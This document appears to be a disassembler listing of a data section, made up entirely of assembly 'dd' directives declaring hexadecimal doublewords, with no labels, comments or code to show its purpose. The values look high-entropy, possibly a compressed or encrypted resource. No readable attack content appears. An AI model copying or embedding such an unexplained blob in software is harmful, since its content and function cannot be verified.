dd 3A229F01h, 0AFFE5F8Ch, 797CF7h, 8EBE3CE8h, 0C53FFA14h
dd 0D0700A00h, 1861ADF9h, 570900DEh, 0ABCBA619h, 0CA01BAEFh
dd 56947F70h, 903447B8h, 0EDB20030h, 0E812F5B6h, 2C1EC90Eh
dd 2140F6F1h, 6EE71676h, 9C1400EFh, 0DA1702AFh, 0C900F9BDh
dd 0E20962DFh, 6DC2A93h, 39ECF83Dh, 0C003006h, 791CAB63h
dd 1CC3A832h, 0F0F57526h, 4E612D28h, 81B84A2Eh, 0AA9F1400h
dd 996ED07h, 0B69476AFh, 2B3FE080h, 2C00672Eh, 8234E5D2h
dd 8B5358h, 36D3DA1Eh, 0E0E41603h, 2C2C6B50h, 4F6DAF07h
dd 12080B5h, 276625Ah, 6E92C405h, 18C8BAA3h, 0EC009506h
dd 89D101A1h, 0D84C2Bh, 0FBA913A6h, 106EA37Eh, 3A37DA01h
dd 634DAD66h, 0F7587E20h, 0DD9CDCh, 3DC94B70h, 681322B5h
dd 8E710703h, 0A82B9B23h, 1D51C5B3h, 801EF574h, 65D718FCh
dd 241F280Ah, 4880A5DEh, 4F4B9858h, 0E03B000Dh, 0F2E63FD2h
dd 6C0011F9h, 0D5C2F527h, 0C6BD12h, 0C890DCA4h, 0F35A5F4h
dd 0DF26087Fh, 9F9E6467h, 334B7540h, 691BD2h, 3F7C07E0h
dd 0E26A1429h, 0D339FA0Ch, 1D5186Ch, 169C1C5Bh, 0F0DF6560h
dd 1AE436C9h, 0B5EBA200h, 3AFB9296h, 0E42701D4h, 1D356407h
dd 0C5D14054h, 7C072EE9h, 0EFAA1A22h, 0D7A2F340h, 8789DE41h
dd 1142660Fh, 408D45F1h, 5163A998h, 1C0F8574h, 0E060586Eh
dd 0A15B754Bh, 386B006Fh, 56052303h, 9C0064BEh, 36B73EADh
dd 7D11D739h, 6EE60059h, 23FA1F77h, 0D203867Bh, 2AF2D9CEh
dd 0A845E3D3h, 0E5DE5Fh, 2B543FA0h, 6E141C7Fh, 0FDC18000h
dd 0B92ECB46h, 3AEFC3Dh, 4FB5D2ACh, 27D81EECh, 7000F33Bh
dd 10CFF687h, 0EFEDD4EAh, 7C9FC0h, 28069423h, 0DB09A0Fh
dd 1760C94Ch, 5500928Ch, 576EB15Fh, 86E4ABh, 1DC2A154h
dd 49FE4BA8h, 64584892h, 27485468h, 0BE6F7103h, 0E841C9A3h
dd 2C992F20h, 0B988544h, 1C916D70h, 2494CC8Bh, 0BFE35100h
dd 1761DA7Bh, 0B23F073Ch, 8028ACF4h, 40DC1262h, 0E01CF979h
dd 9480E57Dh, 2BB56472h, 0BF1B006Ch, 48D0F5B2h, 3000A823h
dd 462799C3h, 3D9D31h, 8320A3F2h, 0FCE68406h, 8094853Eh
dd 2681D3A6h, 7E2B548h, 9A5566C0h, 0B3BCA0FAh, 0C34D67CAh
dd 0CF0F004Ch, 0C09F36AAh, 5B9004Bh, 9B37C83Fh, 0BD0147A4h
dd 44D9287Ch, 1D60BAE9h, 0C1700995h, 5182EAACh, 74C04E2Ch
dd 2000FEAFh, 44AAD7EDh, 0C0CE27BAh, 1BC94361h, 0F401CDACh
dd 0B4615D71h, 1050ED81h, 40AC1A9Bh, 8C2AE9Dh, 0C062E775h
dd 0C0B5BA28h, 3E66E10h, 20C5B012h, 2000E78Ch, 7A5D7BEh
dd 1AD50E43h, 89E3615Ch, 91E7C242h, 0F2D6790Ch, 0E3E1468h
dd 95526E03h, 7C14CDD3h, 426F0040h, 0B9154727h, 0E474FF64h
dd 0DA516260h, 0B8C5Eh, 5AE683C4h, 1D19AF30h, 0FF41531Fh
dd 0EB12E107h, 0EFC02B40h, 0DAC41758h, 0C6B609AAh, 0FA8F9180h
dd 0C2036774h, 1CE255C3h, 0D5400B51h, 6A80C89Eh, 0F478BEAh
dd 85C7AA00h, 5DDB9199h, 7644006Ch, 3B11457h, 590079A9h
dd 0BFBBA5F3h, 128B91h, 175DD883h, 1D223253h, 3556581Fh
dd 0BFCA7B04h, 0B2D8B8A1h, 55EE00E7h, 0C3BA577Fh, 912EF6C6h
dd 8700219Fh, 8684E18Ch, 5F050F8Dh, 0C0DC1C62h, 6A68903h
dd 0C4946B08h, 0A00415h, 0E3C685E8h, 0A9F7Eh, 0D5D0A135h
dd 5D1C8175h, 4C97809Fh, 2A344EB8h, 38B0E147h, 0A90EAA0Bh
dd 1D53E070h, 0F69C4097h, 611F5762h, 63919726h, 3878E780h
dd 37306A8Fh, 0A641FC42h, 79008117h, 7FCD05BAh, 3D0149ACh
dd 0B1006A10h, 0E7A64BBBh, 609A17F4h, 610FCA00h, 0D25F2E9Ch
dd 0CAB17D6h, 8B65004Eh, 8393A8AFh, 0AA4A0900h, 0DBC61385h
dd 2892FCh, 6B1D5036h, 4488597Fh, 8F1BBE00h, 0A0EB6D1Ch
dd 0EA0D0496h, 8894306Ch, 4D1E6120h, 0B407842Ch, 0BAC7A1A9h
dd 20EFEC4Fh, 0F5830C1h, 0D8558B28h, 3024B700h, 0DA62275Dh
dd 0CED02CCh, 1A4D3407h, 40157884h, 610ACEB5h, 0EEA90339h
dd 0C16512CBh, 0E920A08Ch, 0A72F370Eh, 0F930BDC3h, 0F29F3196h
dd 0FD1B25EFh, 9201C8DEh, 0BB1DBC0h, 0F633C4E0h, 722158A4h
dd 40B0A91Dh, 0E35F32ACh, 0C000905Bh, 9F3FA96h, 0B47D19h
dd 8B3FC344h, 75CD76AEh, 0DC60A100h, 0A4E70597h, 614C03A6h
dd 8E5CCCF0h, 0E0730CD9h, 260F92B8h, 40539D7Eh, 2837B50Eh
dd 2AF5008Bh, 6C86CAA3h, 0A600432Dh, 30E7BCD1h, 5CD8C9h
dd 0EFB3B171h, 0E9C77484h, 76F261Ch, 729CB2C0h, 0F44F19Eh
dd 6B4B8C02h, 0CCD8FA00h, 6C00062Ch, 1093A178h, 1F1E2E7Ch
dd 0B014F7h, 0C9AD6EEAh, 190037F8h, 0FE2AF041h, 71329BE9h
dd 0B03C0097h, 9D4C8ABCh, 7C00182Dh, 0FF96B419h, 7DC47Eh
dd 0CAD84A0Bh, 0DBAC3474h, 0FB590E07h, 83206F92h, 98DA35D0h
dd 0DF7200C6h, 0CD2769C6h, 30323B5h, 561A93FBh, 28AAF03Dh
dd 0C37E3CFCh, 0C0FC89Dh, 3D1939BEh, 0A25804A5h, 279B3EB0h
dd 56007A3Eh, 2FE77895h, 0E000E326h, 426939DFh, 3D3A255h
dd 77D0D163h, 29214199h, 0D79F0843h, 225DA2BDh, 571033C1h
dd 4E11E439h, 5E0B11D4h, 4B40447Fh, 0E16D2284h, 4E111F42h
dd 3B7F115Bh, 2964574Ch, 4DD22123h, 50825312h, 3724E24Eh
dd 94460227h, 1125A703h, 21DDFC29h, 4582085Bh, 0E8C8DB90h
dd 588EF90h, 0C94F46h, 417A1961h, 226B8FA9h, 4D302700h
dd 0A5CEDD18h, 92EF00CFh, 977D2F04h, 0BE003928h, 0E5577C8Ch
dd 1D2ADBE6h, 8033E7B7h, 366EC621h, 8E07DD0Ah, 16E20DF5h
dd 0ACA0AB80h, 927D53h, 14E8857h, 9938E9DBh, 0E53D1FE6h
dd 0D4358016h, 9A81EF8Eh, 81500D6h, 8922B86Ah, 9F26EA9Bh
dd 0A7000137h, 9E1F74Dh, 46BA2EA8h, 0B08D145Ch, 0EB61D400h
dd 887DC581h, 0A937AF05h, 0FA81CB26h, 8AE01B4Ah, 1A0C0048h
dd 0EE8C1C0Fh, 4600AED8h, 92D5D3Ch, 90EE055h, 5468A540h
dd 3F333C20h, 79038126h, 0C9A85697h, 30A998CFh, 7E0801BEh
dd 19C3EE5Bh, 0F033205Dh, 8835DF00h, 0A0DE2C01h, 0CB6500A1h
dd 0BFC4874Eh, 12FCBE92h, 0FD8939h, 6B9F4070h, 79C72FCh
dd 0F378ED63h, 4C6E80B1h, 657ED068h, 0D905860h, 0F49C64h
dd 0CF684FAh, 4C2DF939h, 99892B02h, 81410EDAh, 6FCB779Dh
dd 0A2DDB880h, 0FCB04DB1h, 0CA43631Eh, 0F610ECC4h, 5EE097C0h
dd 0E65A00D8h, 5474974Ah
dd 3E057C07h, 0C20813B8h, 60C5E7C2h, 3E95DA62h, 5400D7A3h
dd 83A766Bh, 3E004964h, 0D9BC1D9Ch, 0FA5CA4h, 0BA734701h
dd 0C8CCA132h, 0E940F801h, 8B94C317h, 3ED7B4F4h, 0A00719DDh
dd 0C3D34D2Dh, 27F04850h, 7F4C9B3Ah, 0C6040098h, 7B1BC8D0h
dd 3DA1391Ch, 0D9C53380h, 84346B63h, 9782A00h, 0EFE9FBFAh
dd 0C8600007h, 8DCEA497h, 4016D25h, 0E13F8480h, 30C00893h
dd 5207CC1h, 0BFDDB826h, 3AEC0037h, 412D0134h, 8953A300h
dd 7DB3C4B6h, 0B8470215h, 8DEAC762h, 900DA360h, 0B400C9EAh
dd 6A2C3AE9h, 930E14Ah, 0F903BCCBh, 0D49DAE00h, 78908AF7h
dd 63896A00h, 1BF0A039h, 7745011Eh, 748DEBB4h, 51B2802Bh
dd 9A3F6726h, 0AF689h, 0C3062120h, 0B04BE9A1h, 0F2CF7001h
dd 25846D9Fh, 0BC5EF4h, 3A93AEA8h, 0E261D7D5h, 0E410A760h
dd 7455283Dh, 261F7DB5h, 809885BFh, 0F7023279h, 1C00F298h
dd 9EDBB889h, 650D8Ch, 0FA7F0660h, 5FFCE4DCh, 8E892100h
dd 3E2F9B12h, 0AC9A01F5h, 0A742E60Dh, 0EB1A60E0h, 0BDDE4A00h
dd 982CF43Dh, 35E07Dh, 6D8264DBh, 7B4D1E6Fh, 2FA95102h
dd 42ADDAB7h, 916C87E1h, 3A470C50h, 211D00BEh, 1654AE44h
dd 0F200C0A9h, 0A1238FC5h, 8363CDh, 0D1A55BE0h, 6B5CFA4Bh
dd 68869260h, 0EF2295h, 1B730694h, 47CB0515h, 2E762F74h
dd 0D9D9200h, 89188F3Eh, 93B5A07Bh, 356717E3h, 249E1F6Dh
dd 25AA0100h, 0F8ECE4Ah, 0FE3897A2h, 0BD4D1F28h, 0D70B0144h
dd 0C46E12DEh, 0FD041A9Dh, 0F056749Ch, 0A789ACC0h, 4B390054h
dd 0D3A47311h, 1EF67AE5h, 0CC1DBF00h, 8FBE52BAh, 91D001D5h
dd 4B838C87h, 84C440A1h, 1000E4B9h, 3316BDAFh, 2992F5Dh
dd 0BAC4CD48h, 19604387h, 9716AEB6h, 1FEB3F59h, 905C4037h
dd 54478F5Fh, 0F1AA4B1Dh, 0F834A400h, 4679C51h, 0E142B2F6h
dd 4FE7C090h, 0CF1E9168h, 98808BBDh, 645EA999h, 4DA985Fh
dd 0AEFDCB41h, 6E00BF7Dh, 81884CC4h, 76FC7E26h, 2F3E0332h
dd 0EF1FB6A6h, 10431E98h, 7EB8EE00h, 2E0ADDAFh, 3ECA3AD2h
dd 3723A109h, 0BD72CA80h, 22009ABAh, 80FFB3B9h, 572696h
dd 0D80B79D6h, 0A0A8AE4Dh, 0EB5B2C26h, 68B36C00h, 118E9Ah
dd 862162BDh, 7DC1F3E6h, 74F79900h, 0F95C353Fh, 31C2006Eh
dd 0A60B3B4Bh, 1B3A49F2h, 82700032h, 20D1DBBEh, 0BDB228D4h
dd 29EB0FB8h, 0FE6F8B18h, 0BCE1DF40h, 2B007BF3h, 0CB55F0B5h
dd 0FD7DA69h, 95F48AA0h, 0D0DB5BE0h, 197F2BDFh, 0FF091400h
dd 8D5F9334h, 4B81C18h, 9F2980B7h, 0FC05614Ah, 37526600h
dd 6D21D90Eh, 22930F7Ah, 0F4A03EBDh, 0E2D58911h, 5BCB5600h
dd 7039C03Bh, 2C73009Fh, 0B4CD035Ch, 0F52E87ECh, 0BB98A5h
dd 0AAB202AFh, 4038CFh, 0CD7FF2DAh, 0BDD7545Ah, 959E70Bh
dd 981C023Fh, 0CA02E086h, 0F46D06AEh, 48B1084Ch, 502448h
dd 946E1D69h, 0EF1E95Fh, 0F5835866h, 0C7E28EA4h, 0AB6FC000h
dd 1700EF49h, 3DACED95h, 0EE04D46Ah, 5B0008Eh, 62D2316Dh
dd 1F753E2Eh, 3B131900h, 4CCBC704h, 0FD480055h, 709AC38Dh
dd 4B00E1E4h, 0A12126DAh, 2318580h, 37727B90h, 0BE80E3DCh
dd 18576D0Bh, 33BDC900h, 1A5AEC3Eh, 0AD5807D3h, 0E0BF76AAh
dd 0A72ADD5Ch, 6504321Fh, 0E900C9A4h, 0E8B9B331h, 8E0D1418h
dd 9500E4C2h, 0BF2517A9h, 58004435h, 0E57094C5h, 0A45F6EFh
dd 0AD809667h, 0B78A0388h, 0BE880286h, 53009765h, 0B66E19DEh
dd 0FEF0BB69h, 0BCFF0408h, 0C81214D6h, 9700EC24h, 2331D55h
dd 2C2F3Ah, 83667449h, 0A8DF53C4h, 77B09300h, 7901DE5Dh
dd 0DA7731h, 1DE4B676h, 389785D9h, 7292B40Eh, 2A7F00CAh
dd 0EF4EBDDh, 9EC771CFh, 4A805A4Bh, 0EE44AD97h, 7D001492h
dd 0D86165C5h, 127159AAh, 5109DDh, 0CEE05767h, 1F007318h
dd 0B31A94CFh, 3DC5627h, 0AF51D8B4h, 41B97BF0h, 608C0CEh
dd 2C4DCF24h, 0F3129503h, 0B822BDD9h, 14DE411Eh, 60106DF8h
dd 3464C287h, 0E0F7683Bh, 0B500F0D1h, 5EBBC4E9h, 73C5Dh
dd 0AF8158EAh, 266EC24Fh, 0AA1FF473h, 0C8E405E9h, 5F464540h
dd 0B08700D0h, 0C8B64BCAh, 4700C33Ah, 3078E1BCh, 0EEC6F6E4h
dd 28F202FCh, 0E959D22Ch, 9AB479E0h, 37DB230Fh, 603AAF3Fh
dd 0B86D111Eh, 5C90004Fh, 63E499BAh, 0EB009536h, 0B1E0477Ah
dd 0C4FBB7h, 0C3AC15D4h, 3F27530Bh, 0B8BC4A00h, 6C25A139h
dd 4C13F605h, 8A006572h, 35CAF649h, 2E00DEACh, 0A54BCDFFh
dd 62B23Bh, 682427A7h, 85491C41h, 2BC7F700h, 0EAEF6F65h
dd 0FF480F31h, 4A406977h, 27CEA1BFh, 2F417606h, 4C80B5E9h
dd 0BD007517h, 50B6F373h, 9A0193C5h, 8F1E4FB1h, 0D3E42102h
dd 0E4EF0067h, 11D8BC7h, 0E771AC2Bh, 0F8E3A10Eh, 0DB90623Ch
dd 4242C0B3h, 886B6020h, 0AE06FCEEh, 22A8650Fh, 4EA5005Fh
dd 0E12D7h, 1911FB21h, 20F0792Fh, 0CC7BB70Fh, 33BC67CBh
dd 611BBEC0h, 0E6AB1D40h, 687AC0CAh, 0C0DA9481h, 0FB4B5B00h
dd 4CC921F5h, 665900AEh, 37A2760Ah, 4703021Dh, 4F0531C3h
dd 35600016h, 8C5B995Fh, 5700DB81h, 9104FC96h, 7215512Ah
dd 0BC8D549Bh, 0EB721586h, 0A300A46Ah, 7E10B870h, 0F100F38Fh
dd 0EEE8E67Bh, 575AEAh, 85CA093Eh, 7C8EA9F4h, 6FBAA100h
dd 0E6E760E8h, 0E0DEFC15h, 92A30098h, 0D49CEC58h, 76004525h
dd 8EE16535h, 2DDBC5Fh, 90549927h, 0C880C4BDh, 0A5AE7FCFh
dd 8E262B00h, 0B5B83C07h, 61E80178h, 8DF5D92Ch, 0CF2F48Bh
dd 0BE49F3Ch, 80D2F9C3h, 797E97B9h, 1F7B00EEh, 3C7691DDh
dd 8E00B16Bh, 0B6BC15A0h, 0F6122F8h, 0E39D9733h, 0E600AEABh
dd 1B3A2D32h, 993C5700h, 85C0224h, 84900074h, 58611C68h
dd 78EE4CF7h, 8CA8C700h, 67D5FACAh, 7DA600CFh, 8896391h
dd 0BB5AB229h, 0DD9FB0h, 1D44286Eh, 54B9AC34h, 9E118B00h
dd 17C09C6Ah, 0D69B5818h, 0FE01C04Ch, 80D2EE35h, 0EFA4E1BEh
dd 0FDD8B000h, 0AD1960C7h, 8D4D1E1Fh, 0CD738192h, 0D4C40698h
dd 0F601D4A0h, 0E15CEED7h, 0C0EE7E65h, 7357Bh, 228693ABh
dd 0C6E4BD55h, 0B7728F0Eh, 9712A0AFh, 0B5E3FCh, 0BB55DB7Bh
dd 0DEF4AA35h, 0C88EB400h, 2EB8F6E2h, 0A3950067h, 0C15708F5h
dd 0B9039E06h, 9B85EA05h, 3ACD34Dh, 544418C0h, 0EFA0644Ch
dd 0AB2808B9h, 4A009437h, 8DA5D436h, 57EB4B7h, 2994CBC9h
dd 86A44057h, 564360AEh, 0BD002390h, 0B5101AB2h, 1D992506h
dd 39BEC952h, 0D20F713Bh, 1080C5D3h, 5CE4C058h, 9F746907h
dd 6C003BF8h, 2A0BD9EEh, 3B85D2Dh, 9867A8D8h, 92F270ABh
dd 0D2A640FFh, 76720025h, 51FD60B9h, 0C41FD6B4h, 1440D98Dh
dd 0E7BC291h, 0D82A00B8h, 0FFD55CECh, 360A8C18h, 81FCA407h
dd 7A85314h, 0F239DB6Eh, 0D05BE0DFh, 7DAC17h, 0A0DE0376h
dd 275D20EDh, 70964C07h, 89FE2Ch, 38AB1816h, 0BEDCA071h
dd 2AFFA85h, 35344D81h, 0A880B1DDh, 4AEC0DB0h, 19F5980h
dd 0D86FA7E1h, 0C4A376C0h, 2D00E8D6h, 7AB8D26Ah, 7E103CF2h
dd 0A0E90065h, 9707E7E5h, 0F607E389h, 56864AFh, 876258D0h
dd 0F39600D6h, 6FD24FF8h, 0FC00B6E0h, 0E5016C24h, 1C99F1DCh
dd 0E3F79E2h, 0E720B350h, 0BD086E8Bh, 87FF58h, 42CDBE76h
dd 4858EB64h, 0D60074BFh, 17B49BA8h, 1B154C9Ah, 5F888A0h
dd 9C2A0544h, 0BB47D000h, 5CF83F51h, 600013CAh, 0F49FDE79h
dd 7700BA8Bh, 8250AE2Dh
dd 75B212h, 0E5F93FB8h, 0A29B1CC6h, 0DB68931Ch, 604F690Fh
dd 54A39279h, 21DD3F8Ch, 0FB6A2680h, 38462AF3h, 0E7D0B700h
dd 0AFA89D98h, 4F910088h, 24A609A9h, 48000E96h, 9EB39953h
dd 0E85415h, 0B8EA2165h, 0DFEF730Dh, 0F0C30A28h, 0D3B35C00h
dd 15B4A406h, 0D930C09Eh, 6E7D46FCh, 1A923E01h, 0CDC86CF4h
dd 9E5E4E4h, 8209C095h, 608AE807h, 0CB5985ABh, 0E93B1500h
dd 8443945Dh, 3C99BFh, 7731200Eh, 14003BA1h, 6F73C6A6h
dd 408783Eh, 3D594249h, 0B444C203h, 0E0705941h, 0FC7CA983h
dd 0FA4BBC00h, 892C37C9h, 4195004Ah, 0CB302705h, 0CA3E7BE5h
dd 64F0081h, 42169661h, 17C5001Ch, 26A904Bh, 0EC07276Fh
dd 9E1E93B6h, 630E1430h, 42C45CB2h, 0E9805300h, 0C8F73040h
dd 0D2BC7702h, 80547F4Bh, 0FF55CD8Ch, 0AC6900B1h, 0EDEC060h
dd 25009DC6h, 752CBD6Bh, 7B499CC7h, 45EC44h, 62F4F377h
dd 0FB479689h, 0AB1E6A09h, 66B700AFh, 4C8117ECh, 6C00788Dh
dd 6022E9A6h, 0EE26D430h, 0AB82963Ch, 62D53878h, 0C81C40D2h
dd 19B7006Bh, 0C372660Eh, 5300AD10h, 7F45115Ch, 0B6DF4Fh
dd 5788B16Ah, 56C25A04h, 1CCEAE00h, 65085BFFh, 44CF004Ah
dd 0F1EA31BEh, 523EAC29h, 74D880C4h, 0A83DDB69h, 75441D6Ah
dd 462DC06Fh, 0CE6B7A31h, 2B9AF81Fh, 3D02B7C1h, 118093E3h
dd 7AB5E0F5h, 0F0057DCFh, 0BB654BDFh, 74399802h, 8546879h
dd 0E71C00E1h, 0FA942550h, 1B018F8Ah, 92B4C7Dh, 6DB90A8h
dd 0A0F9A228h, 0F503F122h, 94B672F8h, 0B211D951h, 13A438F0h
dd 0D5A2F6h, 737B195Eh, 59039D92h, 9F2C3F55h, 0D3A5C8D7h
dd 637B53h, 6DF7EE67h, 0FBA9575Ch, 76880C00h, 634F8D55h
dd 4E874CCBh, 166B11Dh, 8034AE96h, 897C3092h, 0BD8F2108h
dd 3F20051h, 0F63C5B55h, 983BE500h, 0F732FA97h, 741F0039h
dd 0CDC47DD6h, 0A7000118h, 48B7E58Fh, 312FFB1h, 8DAC23EDh
dd 7F9C593h, 47CE20D8h, 47CAF4Ch, 4B55B00Ch, 0FC63EF00h
dd 0A000413Fh, 6A36C024h, 1F5A8E31h, 806BFEC1h, 2A9BCC1Bh
dd 3800BBDBh, 5D7CAFEDh, 79FD091Ah, 6AAD0314h, 5297C0FCh
dd 64683BB2h, 0AC994B46h, 4FA15B80h, 1304E96Dh, 8C131Ah
dd 47634D5Ch, 4000ED7Ch, 0FDAEBF90h, 0B11CB68h, 0EE73F75Dh
dd 5B148Ah, 89C17D97h, 550075A0h, 0C233109Ch, 7065DC38h
dd 12E47C1Ch, 133983h, 71BBD1F0h, 11C1968Bh, 0F1CAE3CDh
dd 5CC3A3C4h, 0BC0336E6h, 46455763h, 0D6155D88h, 4B2C1400h
dd 0F9951DB1h, 2376E9h, 0EA5C3B81h, 34BAE356h, 364F41F8h
dd 0D13B08E8h, 9C5FD705h, 9ED80704h, 1B2D80CEh, 6C0B5917h
dd 9050EB2h, 5E988079h, 4830D0C2h, 0E50134B3h, 71EAE468h
dd 0A0F09374h, 0D4F3E302h, 0B064606Ah, 892B00A7h, 58C729E1h
dd 5D500F8Dh, 0B30079ACh, 0D9FEF6B2h, 0CB6715h, 8F913101h
dd 7539B9B1h, 30E0A2E6h, 0B7F3C528h, 8089E73Bh, 0F229FAECh
dd 17E3A9EAh, 0C8ED96h, 6F51154h, 6704D052h, 0B4DAD273h
dd 58E72FC0h, 70B60564h, 0C0F6C41Dh, 93610241h, 0A40F4705h
dd 18807B36h, 43F069h, 0B12D974Fh, 0A14926F3h, 3747392Ch
dd 712BAD01h, 0D0205537h, 0F7F065h, 0D709C1EAh, 0BB691307h
dd 0C89DE63Fh, 3F6F0049h, 1E3D30F4h, 6BDC0EE8h, 35404CFBh
dd 46B4C21Dh, 0C704C600h, 13DE4929h, 8ADA2690h, 1D140268h
dd 0F1C1E51h, 0FC27DECCh, 44CB2DE2h, 0CEBD4C61h, 303AC8A4h
dd 60F080h, 0C6950A1Dh, 144BF628h, 8A6C9802h, 0E0530C22h
dd 602C04E9h, 43103905h, 9F4D8146h, 3DB50218h, 50BC5855h
dd 38C5012Ch, 18E6EEE2h, 0A8B4F0D1h, 513581C2h, 75844925h
dd 1CA5B860h, 40DA2C6Fh, 0D603F4B3h, 0CB12BE7Fh, 230F3149h
dd 6577C10Ch, 782002C2h, 0F9AF14B4h, 7400D04Eh, 5C291CC8h
dd 0B2001E04h, 0E2A1C067h, 8C77BBh, 34C56EDAh, 0D1DC7406h
dd 6F3638h, 73937FDFh, 10B71C6h, 0A4E44C7Ch, 0FA786A10h
dd 0B8DB8160h, 36A9E800h, 352C5AEAh, 4BA109FBh, 0F4407A2Eh
dd 0B6004EE7h, 0A4F8D762h, 202B81h, 618D51EAh, 5F11BE55h
dd 1D7D220Fh, 0D34CE037h, 1FE27B62h, 96704E2Fh, 49144073h
dd 0F1AF2B9Dh, 99005C99h, 62368B27h, 3B670095h, 85B770EEh
dd 0C1785D09h, 8D38F000h, 1322D35Eh, 6C870002h, 48FF86CBh
dd 5400089Ah, 1692771Eh, 93AAFB9Eh, 9BC50004h, 0D8706FBAh
dd 66B98C1Dh, 52991903h, 8D1290B8h, 0E3A000F4h, 0EA3A2B2Dh
dd 6090BA22h, 78A8CF00h, 923BD5CAh, 0AA6100FBh, 6C16A5FEh
dd 4896ECEFh, 2600C912h, 0D6E1145h, 0E64900DBh, 523F5776h
dd 9639644Fh, 9C040079h, 0F8BCCE65h, 45A50153h, 0E56E1E56h
dd 74C1F28Eh, 0F85D71DAh, 55035781h, 8F9E4397h, 0BD8CE018h
dd 490D5h, 754B7E77h, 5B354858h, 0B0A75300h, 0A5F64DC4h
dd 2D8500AFh, 5C2F6989h, 1601C010h, 56CEEB09h, 61DA0DDBh
dd 4300E95Ch, 9500105Ah, 238E13Fh, 7557ECh, 36BC8896h
dd 52DB24B4h, 2B3F6B00h, 0CAE14A08h, 411B1C15h, 0EF61C0B8h
dd 591658C6h, 0BE0700B2h, 0F4D8FB49h, 4E41E34h, 9BB200E6h
dd 2B1AE367h, 0AC007675h, 4A9E3AF4h, 3955B9h, 0BAD5C06Eh
dd 22A21DEAh, 0C40E5A00h, 36F168BBh, 7D30026h, 94DBAE7Ch
dd 6FE48085h, 12C1FC00h, 0A746E8Ah, 62CF13B8h, 0F6104006h
dd 2714C51Bh, 0FEA23209h, 4CB88711h, 3A5EF2E0h, 29740102h
dd 2254E199h, 9777DCA2h, 43B11500h, 0D0D8D4A9h, 5F570371h
dd 0EF16501h, 2D8B61F8h, 46FE9C0h, 0AA355Eh, 73A3F0Ah
dd 6B58FB37h, 0FF5B6200h, 0A3E394E0h, 0CFB41E8Eh, 5C040130h
dd 0CC1F4391h, 680937E9h, 0F72F64F2h, 1E671CE0h, 7AA83401h
dd 447503D4h, 98E9E5E8h, 920D0788h, 2017CC52h, 3245D195h
dd 0CD9F441Dh, 55B57E47h, 0BCE69134h, 3C376000h, 0DDA8D828h
dd 0CEB20500h, 957A237Eh, 3ED30998h, 7002475Fh, 20C6F208h
dd 30F6D226h, 0CC1AC500h, 2C433D0Ah, 9644D681h, 0D0F02062h
dd 6498886Ch, 8CC66D0Bh, 548C834Ah, 0B58800D9h, 2C215C42h
dd 3D0277F9h, 17D2D324h, 88A063A5h, 0EF4328h, 0B11DE720h
dd 412F4E7Fh, 0DAC6580Bh, 0E42E0007h, 1D2A2311h, 802B7CADh
dd 25927430h, 24E6C403h, 0D26E7501h, 1310E23Bh, 0A348D4h
dd 514719A5h, 0BCF9FAAEh, 62DC1400h, 11ED4B7Dh, 90890FE9h
dd 2A0D0EEh, 749227B7h, 1EFFCA1Eh, 70A9D2C0h, 834F31h
dd 54EB3A69h, 6F9BAD8Dh, 0A83F1400h, 0EE1979Eh, 7B5600BAh
dd 5F9CF6DFh, 44023110h, 0FA35E9E3h, 0AD3440B2h, 0BC0F03A5h
dd 20094DFEh, 605502B2h, 48C2E4F2h, 0B01F573h, 288BF627h
dd 856030C9h, 4400D890h, 0D8D37975h, 9036ECA9h, 58CB0354h
dd 7D21CFA1h, 0A39E3BE8h, 0D602B57Dh, 37F99FE8h, 1CF0E0C4h
dd 6A6540C0h, 57A50B1Eh, 0E4042DFh, 3E9A2272h, 0E9E200C4h
dd 0A75B8D09h, 0D839D947h, 2A1700ACh, 23144A34h, 52F00B4h
dd 53F39CE0h, 8D00301Ch, 2C90599Eh, 2CDFD20h, 3C586335h
dd 2049A486h, 0F82991h, 0ECBC1A0Eh, 1EAF8A78h, 8E8214EFh
dd 0CEA06098h, 5B534BB3h, 77739500h, 17F9565Eh, 0C6FD0040h
dd 0F5FB6282h, 0B700CCA5h, 73AF29ABh, 9F48CC0h, 0B2774CE9h
dd 802A9081h, 33C0EE65h, 9CB86F7Fh, 0D27EA904h, 0ACE13244h
dd 3F86C4C0h, 93801BE4h, 68F7ABE3h, 0D249D67h, 2E006470h
dd 0B5B37F81h, 0B23E00E9h
dd 296B1DD2h, 2100FA5Ah, 0BD6AC295h, 0A5B994h, 0A220F08Fh
dd 61586226h, 0FFB82F00h, 0AC2BE4EEh, 0F69F70D7h, 2AE70002h
dd 1D9E67A8h, 0A20424FBh, 3909DFF0h, 5D5F78E0h, 421334EFh
dd 0E9B44B28h, 0C86C8048h, 0A5084503h, 3C8331E4h, 9E0355D8h
dd 0C7B7587Eh, 5C34859Ch, 0B0DB0EC4h, 0FE17DD40h, 610126B5h
dd 0F4F3A009h, 68C584h, 0D7A1A906h, 112E8AF7h, 0CCB88CB1h
dd 0E86A0081h, 96145120h, 0F6720009h, 0EB258D4Fh, 0C77D8F5h
dd 0A2077571h, 0D20D908Ch, 8F083F42h, 0F69F018Ch, 0E070A895h
dd 0C986035Fh, 0DF4D7081h, 48C711C0h, 0DBE8F50Eh, 0FEAEC06Eh
dd 4EB3BACEh, 0E3600010h, 9491471Dh, 9D2AED02h, 81401689h
dd 17C008DCh, 83699043h, 0FB90873Dh, 37304F3h, 0AC2E6BD0h
dd 69C0017Eh, 0C20058FDh, 6A665164h, 2C218E3Eh, 0F50556Fh
dd 0CE20C67Eh, 0E5C29F7Dh, 70DCBF0Bh, 49CF8018h, 0BEF093h
dd 55E0B54Ch, 0C21A739Eh, 3507ED00h, 0FC961D9Ch, 39F90030h
dd 4A153A1Fh, 130508FFh, 5B2DBFAEh, 29A2008Fh, 86D1A83Bh
dd 0D6ED003Ch, 8E1958DEh, 3B707BCEh, 0C700A7F6h, 0F16742ECh
dd 0BAEDF27Eh, 64190144h, 1C8E8201h, 9104245Ch, 0B33F9900h
dd 268C386Bh, 2C8F00EDh, 33FD8A23h, 0C90A2EE7h, 0D4D8254Dh
dd 80505200h, 73ECE42Dh, 907BFE03h, 6F4100E4h, 0B05D6B31h
dd 301E8FFCh, 7A405369h, 0C650D492h, 163F7865h, 83A82E2Dh
dd 3D099ACh, 106063F5h, 5FD30119h, 5BC00721h, 1081D8DBh
dd 0EB4E4436h, 9EDFEF09h, 109824EAh, 3FD5E4A4h, 9CAC5683h
dd 99E00038h, 6D94962Ah, 1FCAEE0Ch, 0B318A3h, 0BF13DB15h
dd 5B36D380h, 83915500h, 9E3DB8C2h, 0B280011h, 0B46A5C38h
dd 6624D2FEh, 0CD000CECh, 0E2CC3080h, 57E40313h, 1EFC217h
dd 0E8A4D0A1h, 0B9048953h, 0A699CB70h, 8B689580h, 450909Dh
